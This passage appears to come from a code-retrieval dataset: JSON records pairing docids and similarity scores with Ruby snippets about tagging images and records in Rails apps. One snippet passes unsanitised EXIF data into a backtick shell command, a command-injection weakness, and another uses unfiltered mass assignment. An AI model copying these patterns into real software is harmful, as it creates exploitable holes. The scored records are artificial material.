"608e539cdd81456a12f973f398ed1413", "score": "0.635861", "text": "def show\n @tags = @image.tag_list\n end", "title": "" }, { "docid": "35d01a3311394d30231c19a510913f4a", "score": "0.63527805", "text": "def tags=(list)\n @tags = makelist(list)\n end", "title": "" }, { "docid": "cf7b1c21cb0f7a690b128a046de28ef6", "score": "0.6344985", "text": "def tagged(*tags)\n push_tags(*tags)\n yield\n ensure\n pop_tags(tags.size)\n end", "title": "" }, { "docid": "c51f941f77fc12b914993a6a8a558314", "score": "0.6283593", "text": "def tag *tags\n @tags += tags\n self\n end", "title": "" }, { "docid": "e1ec75229e941f8340253df32ed3a0ee", "score": "0.62817824", "text": "def find_images_by_tags(request)\n http_request = request.to_http_info(@api_client.config)\n make_request(http_request, :POST, 'SearchResultsSet')\n end", "title": "" }, { "docid": "a93a4e04f864cd88227dd4670e3dda7c", "score": "0.62614083", "text": "def add_tags(*list)\n tags.push(*list).uniq!\n tags\n end", "title": "" }, { "docid": "a8545db8a2d99ffc2ee67e08510e0000", "score": "0.6221037", "text": "def image_params\n params.require(:image).permit(:file, :tag_list)\n end", "title": "" }, { "docid": "25d8ec8a067c54f105473674aec9f32c", "score": "0.6201805", "text": "def add_tag(*tags)\n tags.each_with_index do |tag, i|\n case tag\n when Tags::Tag\n @tags << tag\n when Tags::RefTag\n @ref_tags << tag\n else\n raise ArgumentError, \"expected Tag or RefTag, got #{tag.class} (at index #{i})\"\n end\n end\n end", "title": "" }, { "docid": "2ea39231f27dc7a4ef6299676d59903d", "score": "0.6195756", "text": "def create\n tags = params[:image][:tags] \n params[:image].delete(\"tags\")\n @image = Image.new(params[:image])\n \n respond_to do |format|\n if @image.save\n @image.tag_with tags\n flash[:notice] = 'Image was successfully created.'\n format.html { redirect_to([:admin, @image]) }\n format.xml { render :xml => @image, :status => :created, :location => @image }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @image.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "8d9959b3fa116260fee3b708c4b5dd60", "score": "0.61555946", "text": "def add_tags(key, *params)\n taggable.add(key, *params)\n end", "title": "" }, { "docid": "46b6859e997878afe10cdf87a64b3983", "score": "0.61489666", "text": "def add_tags(directory)\n log_file(\"[START] adding tags...\")\n\n Dir.glob(directory + \"**/*.{DNG,JPG,JPEG,CR2,RW2}\", File::FNM_CASEFOLD).each do |image|\n parent_folder = File.basename(File.dirname(image))\n\n unless IGNORE_FOLDERS.include?(parent_folder) then\n make = `exiftool -b -make \"#{image}\"`\n if (make.length > 0) then\n puts `tag -a #{make} \"#{image}\"`\n puts \"adding \" + make + \" to \" + image\n end\n\n gps = `exiftool -b -gpslatitude \"#{image}\"`\n if (gps.length > 0) then\n puts `tag -a Geotagged \"#{image}\"`\n puts \"adding Geotagged to \" + image\n end\n\n if (['.dng', '.rw2', '.cr2'].include? File.extname(image).downcase) then\n puts `tag -a RAW \"#{image}\"`\n end\n end\n end\n\nend", "title": "" }, { "docid": "e12aab2b8df7325b72c6ed917706a5f6", "score": "0.61318594", "text": "def tags(*tags)\n if tags.size == 0\n attribute('tags')\n else\n tags = tags[0] if tags.size == 1 && tags[0].kind_of?(Array)\n attribute 'tags', tags.map { |tag| tag.to_s }\n end\n end", "title": "" }, { "docid": "14de4cc8a176d9b05618b49a89f18b6f", "score": "0.6072069", "text": "def remove_tags_to_image(image, tags)\n image = image.resolve_id if image.respond_to?(:resolve_id)\n tags = tags.map { |t| t.name if t.is_a(Tag) }\n WeebImage.new(API::Toph.remove_tags_to_image(self, image, tags), self)\n end", "title": "" }, { "docid": "088ba247fec6578dbb6b8f52017651ea", "score": "0.6064448", "text": "def tag(tag_name, *args)\n tag_names = tag_name.split(args.first)\n\n tag_names.each do |tag_name|\n if !(self.tag_ids.include?(tag_name))\n tags << Tag.find_or_create_by(name: tag_name)\n end\n end\n self\n end", "title": "" }, { "docid": "81dc40c590e6e1f4babd50f35108427e", "score": "0.6036386", "text": "def photo_tags\n all_tags = Hash.new {|h,k| h[k]=[]}\n self.tags.find_each do |t|\n all_tags[t.field] << t.value\n end\n all_tags\n end", "title": "" }, { "docid": "6a985f7b011a6d2219451df2a568afa9", "score": "0.6021132", "text": "def do_tag(registry)\n docker_connection = docker_api.connection\n image = Docker::Image.get(\"#{image_name}:#{version}\", {}, docker_connection)\n puts \"Tagging image: #{image_name}\"\n image.tag('repo' => \"#{registry}/#{image_name()}\", 'image' => 'unicorn', 'tag' => version(), force: true)\n end", "title": "" }, { "docid": "bfea215af60b8233dfe84d0626d54c5e", "score": "0.6016173", "text": "def image_params\n params.require(:image).permit(:content, :tag_list)\n end", "title": "" }, { "docid": "de376932fc0b91ca599a60401259bd0b", "score": "0.6011896", "text": "def set_image_tag\n @image_tag = ImageTag.find(params[:id])\n end", "title": "" }, { "docid": "2248ca76b7b73badd50e464d30498bdc", "score": "0.6009496", "text": "def tags=(list)\n tags.clear\n for id in list\n tags << Tag.find(id) if !id.empty?\n end\n end", "title": "" }, { "docid": "a3e677f7b0e6c45f88a121e1df6c19e3", "score": "0.60076535", "text": "def index\n filter = params[:tag_list]\n tag = params[:tag]\n if tag.present?\n images = Image.tagged_with(tag)\n elsif filter.present?\n images = Image.tagged_with(filter)\n else\n images = Image.all\n end\n\n page = params[:page] ||= 1\n @images = images.page(page).per(2)\n end", "title": "" }, { "docid": "3570034ab44cd1e537fefe39dbbeff1b", "score": "0.60018265", "text": "def set_tags(tags)\n self.tags = tags.map.each do |tag|\n Tag.find_or_create_by_name tag\n end\n end", "title": "" }, { "docid": "ecc4856ca079e4ac68998e4ee16f64bb", "score": "0.5995796", "text": "def add_tags(idea, tags_array_param)\n return if tags_array_param.nil?\n tag_names = Array.new ##define the array here so it is visable outside the each loop\n \n tags_array_param.each{|tag_array|\n tag_name = tag_array[:name];\n puts \"evaluating tag: #{tag_name}\"\n next if tag_name == \"\"\n ##split tags by ','\n tag_name.split(',').each{|name| tag_names << name.strip}\n }\n \n ##iterate though all new tags- try to get the tag, otherwise create a new one\n tag_names.each{|name|\n curr_tag = Tag.find_by_name(name, @current_user) || Tag.new(:name => name, :user => idea.user)\n if !idea.tags.include?(curr_tag)\n idea.tags << curr_tag\n end\n }\n end", "title": "" }, { "docid": "0ae92f166856810229b01da0eaecf504", "score": "0.59909976", "text": "def load_tags(tag_list)\n ActsAsTaggableOn::Tag.find_or_create_all_with_like_by_name(tag_list)\n end", "title": "" }, { "docid": "9ecb3e21eb0272cf371ebff09e2f402c", "score": "0.59637547", "text": "def tags; end", "title": "" }, { "docid": "9ecb3e21eb0272cf371ebff09e2f402c", "score": "0.59637547", "text": "def tags; end", "title": "" }, { "docid": "9ecb3e21eb0272cf371ebff09e2f402c", "score": "0.59637547", "text": "def tags; end", "title": "" }, { "docid": "9ecb3e21eb0272cf371ebff09e2f402c", "score": "0.59637547", "text": "def tags; end", "title": "" }, { "docid": "9ecb3e21eb0272cf371ebff09e2f402c", "score": "0.59637547", "text": "def tags; end", "title": "" }, { "docid": "54e5725dc5ef3d26c15c78e189affcae", "score": "0.5945519", "text": "def images(tags: \"\" )\n if tags.present?\n return Image.preload(:user).joins(:tags).where(\"tags.name LIKE ?\", \"%#{tags.strip.titleize}%\")\n end\n\n Image.preload(:user).order(created_at: :DESC)\n end", "title": "" }, { "docid": "8eb017d8a7551d116ef74895acb55164", "score": "0.5919951", "text": "def show\n @image = Image.find(params[:id])\n @tags = @image.tags.split(',')\n end", "title": "" }, { "docid": "2173a1b59cf38b2e970b8a1943038a15", "score": "0.59183687", "text": "def tag_image_id name, pages = 1\n url = API + \"tags/#{name}/media/recent/?access_token=\" + @access_token\n pages.times do\n get(url)['data'].map do |image|\n unless image['user_has_liked']\n @image_ids << image['id']\n end\n end\n url = get(url)['pagination']['next_url']\n end\n export(@image_id_list, @image_ids)\n end", "title": "" }, { "docid": "87dc297215f6476533a8a54672139b4d", "score": "0.59122026", "text": "def delete_image tags\n all_images_by_tags( tags ).each { | image | image.deregister } \n end", "title": "" }, { "docid": "25d191b0d7d160e3fde4a4ce9ce82b23", "score": "0.5910589", "text": "def tag(*tags)\n run_context.node.tag(*tags)\n end", "title": "" }, { "docid": "25d191b0d7d160e3fde4a4ce9ce82b23", "score": "0.5910589", "text": "def tag(*tags)\n run_context.node.tag(*tags)\n end", "title": "" }, { "docid": "2479642ff8361ae3759deceb6ee158dc", "score": "0.5908291", "text": "def tags(*tags)\n @_tags = tags unless tags.empty?\n @_tags\n end", "title": "" }, { "docid": "1bedaed074f54fad98f4411c5c94dc24", "score": "0.58945775", "text": "def tag(*a)\n Tag.tag(*a)\n end", "title": "" }, { "docid": "b4b252165bdf4c63d96b157c74788010", "score": "0.5891411", "text": "def tag_ids=(list)\n tags.clear\n for id in list\n tags << Tag.find(id) if !id.empty?\n end\n end", "title": "" }, { "docid": "10eca2842af7dcf468b553cc14530119", "score": "0.58697605", "text": "def given_tags(*names)\n Tag.find_or_create_all_by_name(*names)\n end", "title": "" }, { "docid": "f9a048a498cf4f74035279e49c279937", "score": "0.5860879", "text": "def tag_set(id, tags)\n wf_event_id?(id)\n tags = Array(tags)\n tags.each { |t| wf_string?(t) }\n api.post([id, 'tag'].uri_concat, tags, 'application/json')\n end", "title": "" }, { "docid": "332c5eaf02fcd84d1976964c30843d4d", "score": "0.58452255", "text": "def tag_ids=(tag_id_list)\n tag_id_list.each { |tag_id| PostTag.create(post_id: self.id, tag_id: tag_id) if !tag_id.blank? }\n end", "title": "" }, { "docid": "4e3614e4cba622d3ac17c86b7dfc4cce", "score": "0.5841411", "text": "def create\n @image = Image.find params[:image_id]\n @tag = @image.tags.new(tag_params)\n\n if @tag.save\n redirect_to image_path(@tag.image) , notice: 'Tag was successfully created.'\n else\n render :new\n end\n end", "title": "" }, { "docid": "8e2218abcd5b033926b333684be4eecc", "score": "0.5827239", "text": "def tagged_with(context, tags)\n tags = convert_string_to_array(tags, get_tag_separator_for(context)) if tags.is_a? String\n array_field = tag_options_for(context)[:array_field]\n all_in(array_field => tags)\n end", "title": "" }, { "docid": "6db2c63075bf65e93f3162355819bb9c", "score": "0.5794291", "text": "def tags(name = T.unsafe(nil)); end", "title": "" }, { "docid": "3c9ed9d557e27e043e6457e2ef01b0cb", "score": "0.5794246", "text": "def tag_list=(names)\n self.tags = names.split(\",\").map do |n|\n SimpleTags::Tag.where(name: n.strip).first_or_create!\n end\n end", "title": "" }, { "docid": "20f9a4ebc6bb37882419c3a36f228dfa", "score": "0.57940423", "text": "def tagging_tags\n filtered_tags(:tagtype_x => [11, :Collection, :List])\n end", "title": "" }, { "docid": "b4177984531bcaf7007f397563a308ae", "score": "0.5788147", "text": "def product_tags=(values)\n self.tag_list = values\n end", "title": "" }, { "docid": "56163d23bc897cc748b09c7a13ef9671", "score": "0.57857877", "text": "def tags\n self.lib.tags.map { |r| tag(r) }\n end", "title": "" }, { "docid": "57034536eee239df27458ad79ea3bdc6", "score": "0.5783192", "text": "def register_tags(*additional_tags); end", "title": "" }, { "docid": "958a6b8416739fa59ab41329c378f2bc", "score": "0.5780852", "text": "def tags=(value)\n @tags = value\n end", "title": "" }, { "docid": "958a6b8416739fa59ab41329c378f2bc", "score": "0.5780852", "text": "def tags=(value)\n @tags = value\n end", "title": "" }, { "docid": "958a6b8416739fa59ab41329c378f2bc", "score": "0.5780852", "text": "def tags=(value)\n @tags = value\n end", "title": "" }, { "docid": "b63455e23246376ef3be4f599fecae9a", "score": "0.5760871", "text": "def tag_list=(tags_string)\n tag_names = tags_string.split(\",\").map{ |s| s.strip.downcase }.uniq\n new_or_found_tags = tag_names.map { |name| Tag.find_or_create_by(name: name) }\n self.tags = new_or_found_tags\n end", "title": "" }, { "docid": "b8912700b33f955882c45e7835b952ca", "score": "0.57585865", "text": "def add_tags\n raise NotImplementedError\n end", "title": "" }, { "docid": "060c014578becf8977ec7dd8e449fe4b", "score": "0.5757678", "text": "def tags=(value)\n @tags = value.is_a?(String) ? value.gsub(', ', ',').split(',') : value\n end", "title": "" }, { "docid": "f2bc82ca6d5a85fd8e1c4ac4e8ffe374", "score": "0.5744238", "text": "def add_tags list\n unless @tags.empty?\n @tags += ','\n end\n @tags += list.join(',')\n end", "title": "" }, { "docid": "1386835e88c1cb32c3eb0a12505a4f14", "score": "0.5742271", "text": "def tag_list=(tags_string)\n tag_names = tags_string.split(\",\").collect{|s| s.strip.downcase}.uniq\n new_or_found_tags = tag_names.collect { |name| Tag.find_or_create_by(name: name) }\n self.tags = new_or_found_tags\n end", "title": "" }, { "docid": "55af0c2c39398394927123be2ce46a4c", "score": "0.5732678", "text": "def write_tag_list_on(context, tags)\n if (self.is_auto_tag_ownership_enabled?)\n self.tag_owner.tag(self, :with => tags, :on => context, :skip_save => true)\n else\n self.set_tag_list_on(context, tags)\n end\n end", "title": "" }, { "docid": "237d668b7d5e16367fb93694548dbf68", "score": "0.57274246", "text": "def get_all_tags_by_image_id\r\n execute <<-SQL\r\n SELECT image_id, tag\r\n FROM tags\r\n ORDER BY image_id\r\n SQL\r\n end", "title": "" }, { "docid": "e26c57d22b1eb9059ccaae917c3ffd4c", "score": "0.57249343", "text": "def add_tags?(instance_ids, opts = {})\n tags = params.tags\n (tags ||= {}).merge!(DTK_TAG) if opts[:with_dtk_tag]\n if tags\n client.create_tags(resources: instance_ids, tags: tags.map { |k, v| { key: k, value: v } })\n end\n end", "title": "" }, { "docid": "c930746babcd6fe05c219f74987667b7", "score": "0.57246023", "text": "def tags=(tags)\n @tags = tags.map { |name| Tag.new(:name => name) }\n end", "title": "" }, { "docid": "c930746babcd6fe05c219f74987667b7", "score": "0.57246023", "text": "def tags=(tags)\n @tags = tags.map { |name| Tag.new(:name => name) }\n end", "title": "" }, { "docid": "8558af95a782c7ca97933a0268ad2784", "score": "0.57238936", "text": "def tag_list=(tags_string)\n tag_names = tags_string.split(\",\").collect{|s| s.strip.downcase}.uniq\n new_or_found_tags = tag_names.collect { |name| Tag.find_or_create_by(name: name) }\n self.tags = new_or_found_tags\n end", "title": "" }, { "docid": "5876be59edd9554e8c791e327f6635a0", "score": "0.57182384", "text": "def index\n @image_tags = ImageTag.all\n end", "title": "" }, { "docid": "cd6c75bb589fc1f607062d718b3dc1a2", "score": "0.5716966", "text": "def tags(tag_map, extra_properties = {})\n tag_map.map { |k, v| tag(k, v, extra_properties) }\n end", "title": "" }, { "docid": "83259ac1b624b7afd9ecce37de21cf72", "score": "0.57082975", "text": "def tag_list=(names)\n tag_names = names.split(\",\").map! {|tag| tag.downcase.strip.gsub(/[^\\w]/,'_') }\n tags_array = []\n tag_names.each do |name|\n tags_array << Tag.where(name: name).first_or_create\n end\n self.tags = tags_array\n end", "title": "" }, { "docid": "0dcf958ee77c597d85e6d4b2d5bd2cf7", "score": "0.57076377", "text": "def tag_list=(tags_string)\n tag_names = tags_string.split(/[\\s,\",\"]/).map{ |s| s.strip.downcase }.uniq\n new_or_found_tags = tag_names.map { |name| Tag.find_or_create_by(name: name) }\n self.tags = new_or_found_tags\n end", "title": "" }, { "docid": "94f109a5497034509c0599078c6aa664", "score": "0.57059616", "text": "def tag!(params = {})\n self.post params, edge: :tags\n end", "title": "" }, { "docid": "55f3e72255d742b9a32ae2daa35c25b0", "score": "0.5699716", "text": "def convert_img_tags!(log)\n log[:files_open] += 1\n file_marked = false\n @doc.xpath(\"//img\").each do |img|\n file_marked = true\n log[:tags] += 1\n\n original = img.to_html.gsub(\"\\\">\", \"\\\" />\").gsub(\"\\\" >\", \"\\\" />\").delete(\"\\\\\")\n original2 = img.to_html.gsub(\"\\\">\", \"\\\"/>\").gsub(\"\\\" >\", \"\\\" />\").delete(\"\\\\\")\n original3 = img.to_html.gsub(\"\\\">\", \"\\\">\").gsub(\"\\\" >\", \"\\\" />\").delete(\"\\\\\")\n image_tag = RailsImageTag.new(img).to_erb\n\n @content.gsub!(original, image_tag)\n @content.gsub!(original2, image_tag)\n @content.gsub!(original3, image_tag)\n puts image_tag\n end\n\n write_file(log) if file_marked\n end", "title": "" }, { "docid": "3ec4c1e7e00dc9d984267234017c622f", "score": "0.56955785", "text": "def tag(tags)\n context = Thread.current[:lumberjack_context]\n context&.tag(tags)\n end", "title": "" }, { "docid": "2980aebdba6ccedc1b7defb223fb9d74", "score": "0.5692396", "text": "def tags\n send_tags('tags', @handle, @security)\n end", "title": "" }, { "docid": "6d5121d0a132c8ef2a9a6cdf32c9d3d4", "score": "0.56906736", "text": "def tags(*values)\n values.inject(self) { |res, val| res._tags(val) or fail ArgumentError, \"Unknown value for tags: #{val}\" }\n end", "title": "" }, { "docid": "6d5121d0a132c8ef2a9a6cdf32c9d3d4", "score": "0.56906736", "text": "def tags(*values)\n values.inject(self) { |res, val| res._tags(val) or fail ArgumentError, \"Unknown value for tags: #{val}\" }\n end", "title": "" }, { "docid": "6d5121d0a132c8ef2a9a6cdf32c9d3d4", "score": "0.56906736", "text": "def tags(*values)\n values.inject(self) { |res, val| res._tags(val) or fail ArgumentError, \"Unknown value for tags: #{val}\" }\n end", "title": "" }, { "docid": "6d5121d0a132c8ef2a9a6cdf32c9d3d4", "score": "0.56906736", "text": "def tags(*values)\n values.inject(self) { |res, val| res._tags(val) or fail ArgumentError, \"Unknown value for tags: #{val}\" }\n end", "title": "" }, { "docid": "6d5121d0a132c8ef2a9a6cdf32c9d3d4", "score": "0.56906736", "text": "def tags(*values)\n values.inject(self) { |res, val| res._tags(val) or fail ArgumentError, \"Unknown value for tags: #{val}\" }\n end", "title": "" }, { "docid": "6d5121d0a132c8ef2a9a6cdf32c9d3d4", "score": "0.56906736", "text": "def tags(*values)\n values.inject(self) { |res, val| res._tags(val) or fail ArgumentError, \"Unknown value for tags: #{val}\" }\n end", "title": "" }, { "docid": "f8e294db7d8dbf35c121341a0d74db33", "score": "0.5683898", "text": "def update\n # creates tag objects for photos\n tag_array = tag_params['tags'].split(',').each do |x|\n x.strip!\n end\n tag_array.each do |x| \n if Tag.find_by(name: x)\n @tag = Tag.find_by(name: x)\n else\n @tag = Tag.create(name: x)\n end\n Tagging.create(photo_id: @photo.id, tag_id: @tag.id)\n end\n\n respond_to do |format|\n if @photo.update(photo_params)\n format.html { redirect_to @photo, notice: 'Photo was successfully updated.' }\n format.json { render :show, status: :ok, location: @photo }\n else\n format.html { render :edit }\n format.json { render json: @photo.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "390b1f8ab3de83d3f7b93f92282e246c", "score": "0.56831974", "text": "def create\n @tag_image = TagImage.new(params[:tag_image])\n @image = @tag_image.image\n if @tag_image.save\n @tag_images = @image.tag_images\n render :partial => 'tag_images'\n else\n render :line => \"<%= error_messages_for 'tag_image' %>\", :status => 500\n end\n end", "title": "" }, { "docid": "459b6d71cf4b6fa0d61e138bc9c464db", "score": "0.56654406", "text": "def taggables(label, list, title = nil, placeholder = nil)\n\t\trender :partial => \"shared/forms/panel/tag\", :locals => { :label => label, :title => title, :tagline => list.join(\";\"), :placeholder => placeholder }\n\tend", "title": "" } ]
c31479a76ffd168b92ef580c94d79d68
An option checkbox for a bulk delete form.
[ { "docid": "cda4cc3b91077ed271e8596d1b85d5c6", "score": "0.6358835", "text": "def bulk_delete_option(f, param, value = nil, **opt)\n opt[:labels] ||= BULK_DELETE_LABEL\n bulk_option(f, param, value, **opt)\n end", "title": "" } ]
[ { "docid": "6bef291b8db3c3897cf6c01e73213c5b", "score": "0.6711669", "text": "def set_DeleteOptions(value)\n set_input(\"DeleteOptions\", value)\n end", "title": "" }, { "docid": "6bef291b8db3c3897cf6c01e73213c5b", "score": "0.6711309", "text": "def set_DeleteOptions(value)\n set_input(\"DeleteOptions\", value)\n end", "title": "" }, { "docid": "a3ee73bba9f1e20a501be727889543fd", "score": "0.6467822", "text": "def rezm_delete_check_box(email)\n check_box_tag 'to_delete[]', email.id\n end", "title": "" }, { "docid": "ea373d0ddfe4dabb8c9ec3c89015e291", "score": "0.6385205", "text": "def delete_flag(fields)\n fields.hidden_field(:_delete, :class => \"delete_flag\") unless fields.object.new_record?\n end", "title": "" }, { "docid": "3212c4e195054d285cf305824fb81f13", "score": "0.6343594", "text": "def rezm_delete_check_box(message)\n check_box_tag 'to_delete[]', message.id\n end", "title": "" }, { "docid": "078e24f5b5c56f782b4581be742daa65", "score": "0.6067319", "text": "def bulk_delete_form(\n label: nil,\n outer: nil,\n css: '.bulk-op-form.delete',\n **opt\n )\n outer_css = '.form-container.bulk.delete'\n action = :bulk_delete\n ids = item_ids.presence\n\n opt[:url] = delete_select_path\n opt[:method] ||= :get\n opt[:autocomplete] = 'off'\n opt[:local] = true # Turns off \"data-remote='true'\".\n\n prepend_css!(opt, css, model_type)\n\n outer_opt = prepend_css(outer, outer_css, model_type)\n html_div(outer_opt) do\n\n cancel = opt.delete(:cancel)\n sub_opt = options.all\n opt.except!(*sub_opt.keys)\n\n form_with(**opt) do |f|\n lines = []\n\n # === Options\n dbg = { debug_only: true }\n { force: {}, truncate: dbg, emergency: dbg }.each_pair do |prm, vals|\n next if (value = sub_opt[prm]).nil?\n lines << bulk_delete_option(f, prm, value, **vals)\n end\n\n # === Item selection input\n lines << bulk_delete_input(f, :selected, ids)\n\n # === Form control panel\n lines <<\n html_div(class: 'form-controls') do\n html_div(class: 'button-tray') do\n btn_opt = { action: action }\n buttons = []\n buttons << submit_button(label: label, **btn_opt)\n buttons << cancel_button(url: cancel, **btn_opt)\n safe_join(buttons)\n end\n end\n\n safe_join(lines, \"\\n\")\n end\n end\n end", "title": "" }, { "docid": "6e1d7223798499bea9600ed6db1aabf6", "score": "0.5841515", "text": "def can_delete?\n true\n end", "title": "" }, { "docid": "72aad16842d6eaf20226ea75ffd3a2e2", "score": "0.5815345", "text": "def destroy\n @checkbox_option = CheckboxOption.find(params[:id])\n @checkbox_option.destroy\n\n respond_to do |format|\n format.html { redirect_to checkbox_options_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "0126eba393157ed6f4c091a3c3a53ab1", "score": "0.5734544", "text": "def user_can_delete?\n true\n end", "title": "" }, { "docid": "581242385110e86292c8f48278604a43", "score": "0.5726717", "text": "def access_edit_delete_sample_button # Usado en index\n role = get_role_or_nil\n return true if role.in?(['admin', 'jefe_calidad'])\n false\n end", "title": "" }, { "docid": "01bc64712a31ca7373aa874620f269ea", "score": "0.5723811", "text": "def D\n if selected_items.any?\n if ask %Q[Are you sure want to delete #{selected_items.one? ? selected_items.first.name : \"these #{selected_items.size} files\"}? (y/n)]\n delete\n end\n end\n end", "title": "" }, { "docid": "b2844fdbb2884923893248036cfc041e", "score": "0.5714208", "text": "def show_remove_button?\n options[:show_remove_button] || false\n end", "title": "" }, { "docid": "54411ead5193251df515952974f2a997", "score": "0.5710009", "text": "def delete?\n\n\t\ttrue\n\n\tend", "title": "" }, { "docid": "94d6ddb8e53e02a8a30a4bc2742a1a35", "score": "0.5685897", "text": "def can_delete?\n trabajos.empty?\n end", "title": "" }, { "docid": "849ba5b8b2256e04357c97d53737b3de", "score": "0.5663555", "text": "def delete\n false\n end", "title": "" }, { "docid": "8f75d63031723725e5b04c832593ebd6", "score": "0.5657168", "text": "def delete!\n opts = {:option_id => self.option_id}\n Twocheckout::API.request(:post, 'products/delete_option', opts)\n end", "title": "" }, { "docid": "48d3ac071474f149f44bd25b063a7a56", "score": "0.56083417", "text": "def collection_edit_delete\n # Get the array of IDs to delete\n return false unless params[:ids]\n begin\n ids = JSON.parse(params[:ids])\n rescue JSON::ParserError\n return false\n end\n return false unless ids.is_a?(Array)\n return false if ids.empty?\n\n # Check to make sure each of these actually exists\n ids.each { |id| return false unless @model.exists?(id) }\n\n # Delete all of them\n @model.destroy(ids)\n end", "title": "" }, { "docid": "0f63548f932968c1bff14a112e144906", "score": "0.56068635", "text": "def can_delete?\n return true\n end", "title": "" }, { "docid": "b67e810aff9028fcd953581abfe462a4", "score": "0.5591375", "text": "def is_marked_for_delete?; end", "title": "" }, { "docid": "11f186ac06c6fd1f52f89ccde1679ed6", "score": "0.5571921", "text": "def summary_delete_button\n if object.persisted?\n destroy_account_button if h.can?(:destroy, object)\n else\n cancel_registration_button\n end\n end", "title": "" }, { "docid": "9a817be65865395b128f9bf77bf42ef5", "score": "0.55625904", "text": "def delete\r\n\t\t@current_menu = 'products'\r\n\r\n\t\t# have to delete the OptionValue's first (fixed)\r\n\t\tOptionValue.delete_all([ \"option_id = #{params[:id]}\" ])\r\n\t\tOption.delete(params[:id])\r\n\r\n\t\tredirect_to :action => :list\r\n\tend", "title": "" }, { "docid": "026dcd36f5990372374fc960da1a87bb", "score": "0.55510783", "text": "def disable_delete?\n AdminSet.default_set?(id) || total_items > 0\n end", "title": "" }, { "docid": "8937ee204af5b60c0d5cdc0d832e90bf", "score": "0.55484116", "text": "def collection_name\n 'check_box_fields'\n end", "title": "" }, { "docid": "3c521cf4d861bedee1cb60ed77174901", "score": "0.5543847", "text": "def disable_delete?\n default_set? || any_items?\n end", "title": "" }, { "docid": "65053ee2dcb0fd5d9e3411d8872e3692", "score": "0.553917", "text": "def toggle_button_checklist(name, opts) end", "title": "" }, { "docid": "a10a88f3dcd6eda0932e2c7561b98869", "score": "0.55138355", "text": "def have_a_delete_btn(tag, model, text=\"DELETE\") \n have_a_ui_btn(tag, :delete, model, text)\n end", "title": "" }, { "docid": "605e9e1492973115da28a1bbaa06aff4", "score": "0.55000067", "text": "def deleted?(name, options = T.unsafe(nil)); end", "title": "" }, { "docid": "9f785681d7e6409a0917644fa6a25d3d", "score": "0.54963857", "text": "def can_delete?\n consumos.empty?\n end", "title": "" }, { "docid": "032c9a94dd344b0a67f51640debb5ee3", "score": "0.5486846", "text": "def assign_checkbox(project)\n h.check_box_tag('', self.id, false, name: 'mass_action[item][]', id: \"mass_action_item_#{self.id}\",\n class: 'mass-item-checkbox', disabled: false)\n end", "title": "" }, { "docid": "1cbe2eb9add7fa44cba95d072c563af7", "score": "0.5477992", "text": "def remove_logo\n # Never want the checkbox checked by default\n false\n end", "title": "" }, { "docid": "9b42e3304218968dab4fff2c2484c338", "score": "0.5473262", "text": "def confirm_and_delete\n selected = selection_to_edit\n p selected\n prompt = PROMPT_DELETE\n result = prompt.yes?('Are you sure you want delete?')\n if result\n @products.delete_at(selected)\n box_del_confirmation\n else\n manage_menu\n end\n \n end", "title": "" }, { "docid": "522fc777ea13e7829e4abf589f698466", "score": "0.5465334", "text": "def deleteisds\n iso_datastore_button_operation('destroy', 'deletion')\n end", "title": "" }, { "docid": "e5ab24ffc6522ce818af25476b38fa15", "score": "0.5461762", "text": "def can_delete?\n programas.empty? && empleados.empty?\n end", "title": "" }, { "docid": "fe1c9c2c1ad5acf3c08e9916a725016a", "score": "0.54575455", "text": "def set_ShowDeleted(value)\n set_input(\"ShowDeleted\", value)\n end", "title": "" }, { "docid": "93844cf7efe7f749fd2dc74fe7a3a79c", "score": "0.54526883", "text": "def email_consol; det.checkbox(:id, 'enableEmailConsolidation'); end", "title": "" }, { "docid": "5259443bd877dec200b6e40ff8c0f6ee", "score": "0.5440326", "text": "def delete\n\t\tis_record_marked_for_deletion = true\n\tend", "title": "" }, { "docid": "f25a30d1e9ac67277bfc613260148ea2", "score": "0.5434778", "text": "def bulk_delete_input(f, param, value = nil, **opt)\n opt[:labels] ||= BULK_DELETE_LABEL\n bulk_input(f, param, value, **opt)\n end", "title": "" }, { "docid": "70601955566a50cca17f9d6175600130", "score": "0.5429565", "text": "def delete_choice\n redirect_to (\"/admin/excerpts/#{params[\"id\"]}/delete\")\n end", "title": "" }, { "docid": "71605d019dde6e0e3427484768cbc451", "score": "0.54271924", "text": "def allow_batch?\n return false unless current_ability.can?(:edit, solr_document)\n !disable_delete?\n end", "title": "" }, { "docid": "0ee817a884ab8bd3aaf63b0f19b7476b", "score": "0.541371", "text": "def check_an_delete_button(params)\n if params[:hgdscline]\n params[:hgdscline].each do |ehdscl|\n hrl=GDS::HotelReservationThroughGdsLine.find(ehdscl)\n if hrl\n hrl.destroy\n end\n end\n end \n \n end", "title": "" }, { "docid": "748f0f3762fb6b30080ed84ba34b92e1", "score": "0.5402302", "text": "def has_delete_flag?(attributes)\n !!attributes[:_delete]\n end", "title": "" }, { "docid": "914a1ee7c39518e04d89d072618e8f05", "score": "0.54006636", "text": "def delete_tag(title,f)\n return content_tag( :button,:name=>f.object_name+'_destroy', :value=>'1', :type=>'submit' )\n end", "title": "" }, { "docid": "9c07c6e43367d7ad67989d106e954252", "score": "0.5393598", "text": "def incomplete\n\t\t@todo_items = Todo.all\n\t\tif !params[:todos_checkbox].nil?\n\t\t\tparams[:todos_checkbox].each do |check|\n\t\t\t\ttodo_id = check\n\t\t\t\tt = Todo.find_by_id(todo_id)\n\t\t\t\t# Had to combine delete button action here.\n\t\t\t\tif params[:delete_button]\n\t\t\t\t\tt.delete\n\t\t\t\t\tt.save\n\t\t\t\t# Else the complete button was selected.\n\t\t\t\telse\n\t\t\t\t\tif t.read_attribute(:completed) == false\n\t\t\t\t\t\tt.update_attribute(:completed, true)\n\t\t\t\t\telse\n\t\t\t\t\t\tt.update_attribute(:completed, false)\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\tend", "title": "" }, { "docid": "bdec724fbb9833f2d46bc6d73b8c2baa", "score": "0.5389678", "text": "def can_delete?\n products.empty?\n end", "title": "" }, { "docid": "d40052ba43d3764eb357553d64585e7f", "score": "0.5366338", "text": "def no_options_field\n false\n end", "title": "" }, { "docid": "a98349de17a23c1c5f10ad1071b33e8e", "score": "0.5357893", "text": "def completed\n\t\t@todo_items = Todo.all\n\t\tif !params[:todos_checkbox].nil?\n\t\t\tparams[:todos_checkbox].each do |check|\n\t\t\t\ttodo_id = check\n\t\t\t\tt = 